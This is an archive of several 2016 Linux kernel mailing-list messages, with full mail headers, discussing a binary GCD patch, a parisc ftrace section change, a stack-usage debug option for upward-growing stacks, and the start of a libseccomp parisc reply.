platforms without 32-bit immediates.  The shift itself makes an even 20,
and there are a lot of sequential dependencies (I count a 17-op chain
including the shift) limiting execution time.

The de Bruijn hack reduces the length but adds a memory access for
the table lookup.  (http://supertech.csail.mit.edu/papers/debruijn.pdf)

In the GCD code, the number to normalize is basically random, so the
normalization loop shifts an average of 1 bit.  One bit half the time,
a second bit 1/4 of the time, etc.

(The posted code in the FAST_FFS case omits one guaranteed shift at the
end of the loop because the normalization code is constant-time.)

So "fast __ffs" basically means faster than *one* iteration of
"while (!(x & 1)) x >>= 1;".

In this case "fast" means cheaper than *one* unpredictable branch, which
is a very small handful of instructions.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam-uyr5N9Q2VtJg9hUCZPvPmw@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [patch V3] lib: GCD: add binary GCD algorithm
Date: Thu, 28 Apr 2016 21:54:06 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20160428195326.GB29802@ravnborg.org>
References: <1461843824-19853-1-git-send-email-zengzhaoxiu@163.com>
 <20160428164856.10120.qmail@ns.horizon.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1461873269 30286 80.91.229.3 (28 Apr 2016 19:54:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 19:54:29 +0000 (UTC)
Cc: akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org, peterz-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org,
	zengzhaoxiu-9Onoh4P/yGk@public.gmane.org, dalias-8zAoT0mYgF4@public.gmane.org, davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org, geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org, ink-biIs/Y0ymYJMZLIVYojuPNP0rXTJTi09@public.gmane.org,
	james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org, jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org, jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org,
	lennox.wu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lftan-EIB2kfCEclfQT0dZR+AlfA@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org,
	liqin.linux-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
	nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org, ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	rth-hL46jP5Bxq7R7s880joybQ@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	uclinux-h8-devel-5NWGOfrQmneRv+LV9MX5uooqe+aC9MnS@public.gmane.org, ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org,
	zhaoxiu.zeng-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org
To: George Spelvin <linux-gpGsJRJZ3PBBDgjK7y7TUQ@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Apr 28 21:54:18 2016
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1avs0u-0001s2-S3
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 28 Apr 2016 21:54:17 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753018AbcD1TyQ (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Thu, 28 Apr 2016 15:54:16 -0400
Original-Received: from asavdk4.altibox.net ([109.247.116.15]:57903 "EHLO
	asavdk4.altibox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752774AbcD1TyP (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Thu, 28 Apr 2016 15:54:15 -0400
Original-Received: from ravnborg.org (unknown [188.228.89.252])
	(using TLSv1.2 with cipher AES256-SHA (256/256 bits))
	(No client certificate requested)
	by asavdk4.altibox.net (Postfix) with ESMTPS id 80A2A801AB;
	Thu, 28 Apr 2016 21:54:07 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20160428164856.10120.qmail-HzZAx2gCgqrSUeElwK9/Pw@public.gmane.org>
User-Agent: Mutt/1.5.24 (2015-08-30)
X-CMAE-Score: 0
X-CMAE-Analysis: v=2.1 cv=Fo6lhzfq c=1 sm=1 tr=0
	a=Ij76tQDYWdb01v2+RnYW5w==:117 a=Ij76tQDYWdb01v2+RnYW5w==:17
	a=L9H7d07YOLsA:10 a=9cW_t1CCXrUA:10 a=s5jvgZ67dGcA:10 a=kj9zAlcOel0A:10
	a=qc9dTJifL27puRRyOeAA:9 a=CjuIK1q_8ugA:10
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:1071 gmane.linux.ports.alpha:3713 gmane.linux.ports.arm.kernel:496740 gmane.linux.kernel:2210857 gmane.linux.ports.mips.general:54414 gmane.linux.ports.parisc:26740 gmane.linux.ports.sh.devel:53906 gmane.linux.ports.sparc:22910
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/1071>

> __ffs on the available architectures:
> 	Alpha: sometimes (CONFIG_ALPHA_EV6, CONFIG_ALPHA_EV67)
> 	ARC: sometimes (!CONFIG_ISA_ARCOMPACT)
> 	ARM: sometimes (V5+)
> 	ARM64: NO, could be written using RBIT and CLZ
> 	AVR: yes
> 	Blackfin: NO, could be written using hweight()
> 	C6x: yes
> 	CRIS: NO
> 	FR-V: yes
> 	H8300: NO
> 	Hexagon: yes
> 	IA64: yes
> 	M32R: NO
> 	M68k: sometimes
> 	MetaG: NO
> 	Microblaze: NO
> 	MIPS: sometimes
> 	MN10300: yes
> 	OpenRISC: NO
> 	PA-RISC: NO?  Interesting code, but I think it's a net loss.
> 	PowerPC: yes
> 	S390: sometimes (CONFIG_HAVE_MARCH_Z9_109_FEATURES)
> 	Score: NO
> 	SH: NO
> 	SPARC: NO
SPARC: sparc64: YES, sparc32: NO
Patch needs to be updated to refelct this.

	Sam

From - Thu Nov 08 21:38:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Merge ftrace C-helper and assembler functions into
 .text.hot section
Date: Fri, 29 Apr 2016 22:07:31 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <20160429200731.GA1297@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1461960474 19830 80.91.229.3 (29 Apr 2016 20:07:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 Apr 2016 20:07:54 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 29 22:07:46 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1awEhV-0001Ep-0I
	for glpp-linux-parisc@plane.gmane.org; Fri, 29 Apr 2016 22:07:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752367AbcD2UHo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 Apr 2016 16:07:44 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:52063 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752329AbcD2UHn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 Apr 2016 16:07:43 -0400
Original-Received: from p100.box ([92.203.1.11]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0LjN0F-1bXkuP3Ug3-00dUUC; Fri, 29 Apr 2016 22:07:34
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:yyIGYCP04N3oDQEPQEaziiJeY07WxldDXWMRXeP+CxZvUlGUVL3
 t5X3ydlpwjHTtiArWtTvhBRlqPQMwCLmnTUTf4AJY9lhAMG+4bCZ8uu/xTHOEfWJzIhN6iL
 MLkpjG/AgSeUIqaBnLFNGcAFC5vlVV41w9DCyKqZoX6cQdODH6cNIOBbux/PfvzVe1g4VIf
 2Ip7zF7o+HMqFjfnRJzzw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:JLbyy8BfVJs=:F5MvhGrXG/fHdb0CkA6NpP
 lRSYW5LGqU6yrG7SKZjdkzPTCUiR/xech5zUcHlXJxrsSWV7EjbUDyV2rbIPiXSl900huvoxD
 a/ubyeZLtSHhIGuapIdoiNKfqb46pc7waqfx/efOL8f5fl1rAH+ffwJpKZc4jahdRC3zTm6tg
 uTIgvMrWSdrzF0pvILQgA/qHve9oXtu8spyBl5FyXfaBi19Gw40qqZevJYyiPwtdi1Oh/TAFx
 /gWAGZR67FeRX7+TQa+QUTUOwLSKcMroMQjDDOPF/AcJthzcI8ZjaX0bfb8jDOHRx2blWcQ5i
 buxgkBIspyVqUBPIoXjXjMNR1Saj5MWqExFvP1lxUmFeVVHaILSMeFwwGrdM5a8S2I43+fJfQ
 1DYUfAgGDskD3sxIUTmtH+JFJpktHroTK8mnMHXb9WJcvwUgRFVpyUNEdvOkfSC03qrogZgzN
 4tZAecUjp/2+ZyZDneeLmZU8nC4rAyIXhp05chtWVI51M/l/pWXwOK2Don6xPOU/64imj2irm
 7rEcj6A/7kUgadyJpohrcir5r7hCacnOxlYmAlPdbl4HyBRmfGG8Hhe7cvu+/HMn3dSOQerUu
 t1UnI2IZwMU4qWGuHi0VsahSfE8r54qXoXvDTJt/L07nfToPC0cmqvDowz5yPh7BLlWo2zQiq
 tO6r5VU0p5eltnsKIKd5+qpDqTMoxMHQsDyM/q1dWpgVhfcDYOOxO5RxYXEpQ2NT0zLHDbuvx
 f4l0d62EnXaUruYgw4E4LQXGp9TehPBAITljAtI0t/g4xhiVds2EoYc9z6A=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26741
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26741>

When enabling all-branch ftrace support (CONFIG_PROFILE_ALL_BRANCHES) the
kernel gets really huge and some ftrace assembler functions like mcount can't
reach the ftrace helper functions which are written in C.  Avoid this problem
of too distant branches by moving the ftrace C-helper functions into the
.text.hot section which is put in front of the standard .text section by the
linker.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 39127d3..2b2b0df 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -667,7 +667,7 @@
 	 * boundary
 	 */
 
-	.text
+	.section .text.hot
 	.align 2048
 
 ENTRY(fault_vector_20)
diff --git a/arch/parisc/kernel/ftrace.c b/arch/parisc/kernel/ftrace.c
index b13f9ec..a828a0a 100644
--- a/arch/parisc/kernel/ftrace.c
+++ b/arch/parisc/kernel/ftrace.c
@@ -18,12 +18,15 @@
 #include <asm/ftrace.h>
 
 
+#define __hot __attribute__ ((__section__ (".text.hot")))
+
 #ifdef CONFIG_FUNCTION_GRAPH_TRACER
 /*
  * Hook the return address and push it in the stack of return addrs
  * in current thread info.
  */
-static void prepare_ftrace_return(unsigned long *parent, unsigned long self_addr)
+static void __hot prepare_ftrace_return(unsigned long *parent,
+					unsigned long self_addr)
 {
 	unsigned long old;
 	struct ftrace_graph_ent trace;
@@ -53,7 +56,7 @@ static void prepare_ftrace_return(unsigned long *parent, unsigned long self_addr
 }
 #endif /* CONFIG_FUNCTION_GRAPH_TRACER */
 
-void notrace ftrace_function_trampoline(unsigned long parent,
+void notrace __hot ftrace_function_trampoline(unsigned long parent,
 				unsigned long self_addr,
 				unsigned long org_sp_gr3)
 {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Hogan <james.hogan@imgtec.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.kernel
Subject: Re: [PATCH] parisc,metag: Implement CONFIG_DEBUG_STACK_USAGE option
Date: Fri, 29 Apr 2016 23:04:37 +0100
Lines: 91
Approved: news@gmane.org
Message-ID: <20160429220437.GA15188@jhogan-linux.le.imgtec.org>
References: <20160319165410.GA31630@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="/04w6evG8XlLl3ft"
X-Trace: ger.gmane.org 1461967496 29465 80.91.229.3 (29 Apr 2016 22:04:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 Apr 2016 22:04:56 +0000 (UTC)
Cc: <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	<linux-metag@vger.kernel.org>, <linux-ia64@vger.kernel.org>,
	<linux-kernel@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-ia64-owner@vger.kernel.org Sat Apr 30 00:04:55 2016
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1awGWs-0000hM-LR
	for glpi-linux-ia64-2@plane.gmane.org; Sat, 30 Apr 2016 00:04:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752840AbcD2WEm (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Fri, 29 Apr 2016 18:04:42 -0400
Original-Received: from mailapp01.imgtec.com ([195.59.15.196]:46337 "EHLO
	imgpgp01.kl.imgtec.org" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752792AbcD2WEl (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Fri, 29 Apr 2016 18:04:41 -0400
Original-Received: from imgpgp01.kl.imgtec.org (imgpgp01.kl.imgtec.org [127.0.0.1])
	by imgpgp01.kl.imgtec.org (PGP Universal) with ESMTP id 954E541F8D6C;
	Fri, 29 Apr 2016 23:04:38 +0100 (BST)
Original-Received: from mailapp01.imgtec.com ([10.100.180.241])
  by imgpgp01.kl.imgtec.org (PGP Universal service);
  Fri, 29 Apr 2016 23:04:38 +0100
X-PGP-Universal: processed;
	by imgpgp01.kl.imgtec.org on Fri, 29 Apr 2016 23:04:38 +0100
Original-Received: from HHMAIL01.hh.imgtec.org (unknown [10.100.10.19])
	by Websense Email with ESMTPS id 647B3BB88E2CF;
	Fri, 29 Apr 2016 23:04:33 +0100 (IST)
Original-Received: from LEMAIL01.le.imgtec.org (192.168.152.62) by
 HHMAIL01.hh.imgtec.org (10.100.10.19) with Microsoft SMTP Server (TLS) id
 14.3.266.1; Fri, 29 Apr 2016 23:04:38 +0100
Original-Received: from localhost (192.168.154.110) by LEMAIL01.le.imgtec.org
 (192.168.152.62) with Microsoft SMTP Server (TLS) id 14.3.266.1; Fri, 29 Apr
 2016 23:04:37 +0100
Content-Disposition: inline
In-Reply-To: <20160319165410.GA31630@p100.box>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Originating-IP: [192.168.154.110]
X-ESG-ENCRYPT-TAG: 6e37d52
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:26735 gmane.linux.ports.parisc:26742 gmane.linux.kernel.metag:1073 gmane.linux.kernel:2211896
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/26735>

--/04w6evG8XlLl3ft
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Helge,

On Sat, Mar 19, 2016 at 05:54:10PM +0100, Helge Deller wrote:
> On parisc and metag the stack grows upwards, so for those we need to
> scan the stack downwards in order to calculate how much stack a process
> has used.
>=20
> Tested on a 64bit parisc kernel.
>=20
> Signed-off-by: Helge Deller <deller@gmx.de>

Looks good, and works on metag too!

Tested-by: James Hogan <james.hogan@imgtec.com>
Acked-by: James Hogan <james.hogan@imgtec.com>

Cheers
James

>=20
> diff --git a/include/linux/sched.h b/include/linux/sched.h
> index 084ed9f..71591f3 100644
> --- a/include/linux/sched.h
> +++ b/include/linux/sched.h
> @@ -2859,10 +2859,18 @@ static inline unsigned long stack_not_used(struct=
 task_struct *p)
>  	unsigned long *n =3D end_of_stack(p);
> =20
>  	do { 	/* Skip over canary */
> +# ifdef CONFIG_STACK_GROWSUP
> +		n--;
> +# else
>  		n++;
> +# endif
>  	} while (!*n);
> =20
> +# ifdef CONFIG_STACK_GROWSUP
> +	return (unsigned long)end_of_stack(p) - (unsigned long)n;
> +# else
>  	return (unsigned long)n - (unsigned long)end_of_stack(p);
> +# endif
>  }
>  #endif
>  extern void set_task_stack_end_magic(struct task_struct *tsk);
> diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
> index f28f7fa..901f96c 100644
> --- a/lib/Kconfig.debug
> +++ b/lib/Kconfig.debug
> @@ -546,7 +546,7 @@ config DEBUG_KMEMLEAK_DEFAULT_OFF
> =20
>  config DEBUG_STACK_USAGE
>  	bool "Stack utilization instrumentation"
> -	depends on DEBUG_KERNEL && !IA64 && !PARISC && !METAG
> +	depends on DEBUG_KERNEL && !IA64
>  	help
>  	  Enables the display of the minimum amount of free stack which each
>  	  task has ever had available in the sysrq-T and sysrq-P debug output.

--/04w6evG8XlLl3ft
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJXI9p1AAoJEGwLaZPeOHZ6uP8P/RAVw/RjjQYDy9ekRws4EbCd
XWDt8J8z6rhh7gHrgZBjwktamtp0TAYtX/j2Ipd0PIhmWPRjTl1QqPNxHEfiy7Wk
PPXmTedfjV9jh2uWqjWOV+8m9YeOn5J1kUcbtX4CWq0oIfYJHEBe3lVf7SVmV1PH
VTlPyQrcG++7J1T2H0aMW2+Rd/f7ssGtwync/aKawXAKki/XkKqfB6lnsttVZQuI
DixyywS8XCSKT0q9fCH2j1GDLAphca8rrk9svoxZhaw65aIhn9CH5f/phNBjymCe
/qXBSsvhiPxRYOjrH0Vktf2HINqDinyCrMpVx2sOCEfZSjXiYTnab9zqijBzbtmA
gZsicgI44rZAVrYinKCXSe71PJXvC7+zgo8QsH1597TNlbmHhBpha2Y1neYghO9i
NkTzbPQGnM+yY8KFb3Pazko7SxAsJXiAkWCTrbrqJiU4+p/4iSsPRBFf9sAbENcl
veHGrU0Zr4HMLarj3iircAiIZifVBNlsoktaw4BE8eypgZIjsG56SuBiUmTzAQ6n
6uPA+3wQAYcc53JnAP5gltyxb6b10EITwO+e7NguddfH3Uo2zbsRWa6TR3cArk0o
/xLjUuAprfASLr4zqEayvVcXrGNziRHklc+bw52ZzJStI82BIdSKgbTz0j+47yrl
ZxD3MIB/PgYiPrKjILlL
=FFAX
-----END PGP SIGNATURE-----

--/04w6evG8XlLl3ft--
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.comp.lib.libseccomp.general,gmane.linux.ports.parisc
Subject: Re: [PATCH] libseccomp: Add parisc architecture support (v3)
Date: Sat, 30 Apr 2016 22:51:11 +0200
Lines: 865
Approved: news@gmane.org
Message-ID: <57251ABF.4080201@gmx.de>
References: <20160213200731.GA18161@ls3530.box> <3673666.V2ZqGazvLY@sifl>
 <56C24911.8000200@gmx.de> <1907254.cBdVSxntFv@sifl>
 <20160409070549.GA5442@ls3530.box>
 <CAHC9VhSseu8kLg0W+Ee0bnOiPSKHfGq-zsq-xmrOfMFozohmZA@mail.gmail.com>
 <571103AD.20500@gmx.de> <20160415151103.GB11180@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1462049494 2288 80.91.229.3 (30 Apr 2016 20:51:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 30 Apr 2016 20:51:34 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
 James Bottomley <James.Bottomley@HansenPartnership.com>,
 John David Anglin <dave.anglin@bell.net>, libseccomp@googlegroups.com,
 Mike Frysinger <vapier@gentoo.org>
To: Paul Moore <paul@paul-moore.com>
Original-X-From: libseccomp+bncBC23VB5X54DBBSNVSS4QKGQE733GABY@googlegroups.com Sat Apr 30 22:51:22 2016
Return-path: <libseccomp+bncBC23VB5X54DBBSNVSS4QKGQE733GABY@googlegroups.com>
Envelope-to: gcllg-libseccomp-discuss-2@m.gmane.org
Original-Received: from mail-lf0-f59.google.com ([209.85.215.59])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <libseccomp+bncBC23VB5X54DBBSNVSS4QKGQE733GABY@googlegroups.com>)
	id 1awbrG-0003L9-5K
	for gcllg-libseccomp-discuss-2@m.gmane.org; Sat, 30 Apr 2016 22:51:22 +0200
Original-Received: by mail-lf0-f59.google.com with SMTP id y84sf6422403lfc.0
        for <gcllg-libseccomp-discuss-2@m.gmane.org>; Sat, 30 Apr 2016 13:51:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:x-original-sender
         :x-original-authentication-results:precedence:mailing-list:list-id
         :x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=QP/aNvfyXLm+PBjbsS8Y8eolKAT0jh4mAsSm6GOWfAc=;
        b=rKiX4PeQ7sA5W5mas2sknPOZi+8G7El0Z/G1dYmKbsQMEGVbiikyzOn3qcaCoyznk4
         jnLg9NApkgq6zuOVZLBoR4NBtakekO4yWVZlVkjPk1OrhibwEyAtSQxhaQyrl/e4OQVS
         AVEqfUnpEFVCYqApH/DfghQoFg+tX9vcK16P1AsVLg00jeWV+6L3kKw+MsNESBqz2lpU
         32bkvmdyPnUNpI8gvIU0jqjZDUrq8zJj7EQMkIj3Y5xWAXqvjLcGywvtvM1pv2FTQcCN
         dnMyjCRgkBZXsoL4EX0qC/9s0+OoA/FeBiyeVj/nHhiVTA5TxmgZ/DBdLhXkv3eukyeu
         R4xw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:subject:to:references:cc:from:message-id
         :date:user-agent:mime-version:in-reply-to:x-original-sender
         :x-original-authentication-results:precedence:mailing-list:list-id
         :x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=QP/aNvfyXLm+PBjbsS8Y8eolKAT0jh4mAsSm6GOWfAc=;
        b=WQsO/76ncaGRXIJa4WGjX1iuRLcW+SjuDFF+WrSSvR+vLHVBj1M62Sx0IGxO7y/jmz
         bES7eltoYxx5QRPdSogJWgbuu5EyFYyqe+V3vchWBaPdoCi/XmJ7m11Qu3bqb7KMdmcM
         8ML+Qn3jDHJ47idDlxhgZWugQ3NK7fEAIyMyg9cm0BHAaLQLNnJmpNRnxbL9va0FrrVy
         r9S1ewBzF8k5i5WPZJTJhoslQZF3ou0c18nXmEokpsC35yhLjwUJuyRVkfEbXy44l7+J
         vs4SBg+wjliU9mGSYQaeAwUSRWsgEFxHR7iu6nETixysz+8px3F3zTY5X6GPQdKnj+Vz
         JAJA==
Original-Sender: libseccomp@googlegroups.com
X-Gm-Message-State: AOPr4FV2/2Q5HhAsQqs/URPDeOh3jAWs+EPBF1iNS4XTWRtJ3dyXbSInJtf0jv9xCg3TWw==
X-Received: by 10.25.169.208 with SMTP id s199mr40297lfe.3.1462049481722;
        Sat, 30 Apr 2016 13:51:21 -0700 (PDT)
X-BeenThere: libseccomp@googlegroups.com
Original-Received: by 10.25.211.2 with SMTP id k2ls429719lfg.46.gmail; Sat, 30 Apr 2016
 13:51:21 -0700 (PDT)
X-Received: by 10.25.39.146 with SMTP id n140mr3016093lfn.4.1462049481144;
        Sat, 30 Apr 2016 13:51:21 -0700 (PDT)
Original-Received: from mout.gmx.net (mout.gmx.net. [212.227.17.21])
        by gmr-mx.google.com with ESMTPS id a124si494569wme.0.2016.04.30.13.51.21
        for <libseccomp@googlegroups.com>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sat, 30 Apr 2016 13:51:21 -0700 (PDT)
Received-SPF: pass (google.com: domain of deller@gmx.de designates 212.227.17.21 as permitted sender) client-ip=212.227.17.21;
Original-Received: from [192.168.20.60] ([92.203.94.138]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MfBsk-1bLOmM0z5m-00Oq7q; Sat, 30 Apr 2016 22:51:16
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20160415151103.GB11180@ls3530.dhcp.wdf.sap.corp>
X-Provags-ID: V03:K0:dTIw7Acox1j+snkrpFiAIGdR6Y5iCpKjtVwdUpQ1aAUISgxCbIC
 HQZ8RIEHWn6MWWINWFQzRjtqeh4641d8uzwlc3MpnDzvh9u3dfYhAFLTpF0Qs1xifd7HUAx
 4fxz8hG754yLV0l1XzMrVSCPqFYyqOvgf0JN/HQb9vuaGPmdxArAZ1gASqfyAUZExHi/D4U
 pTdLbXS00l9MNiBz8trcQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Z2Na5+iNnSU=:BywWgVjUYlc+wPTvI2tNhC
 rNSVeT6O2+MKNmQnOqBK44NdTABEGYyR61Qg39aCLYWaGGj3IOM+CTgi0B0XGew+Jad3XlE7i
 RVaAZjLkvx63O/kBTnl1Q4S+n+NdIbP8YI+oQGCWswBM7UBUUYlnY8uKzXZnAvTY5MBk9rdH8
 Ug7L0BQ9zXGeWjyvn70cqii83iyTeMSafXTGk3EtA/i8VPVx90OEMFZCIH4cRsOiZGyReMS0w
 OBfnrJ1oVr5QRVad158CLbMPt98H65jmtGhT/KRn5nz+tP4h2j47EITklkOvjIvjBbmrDXyAW
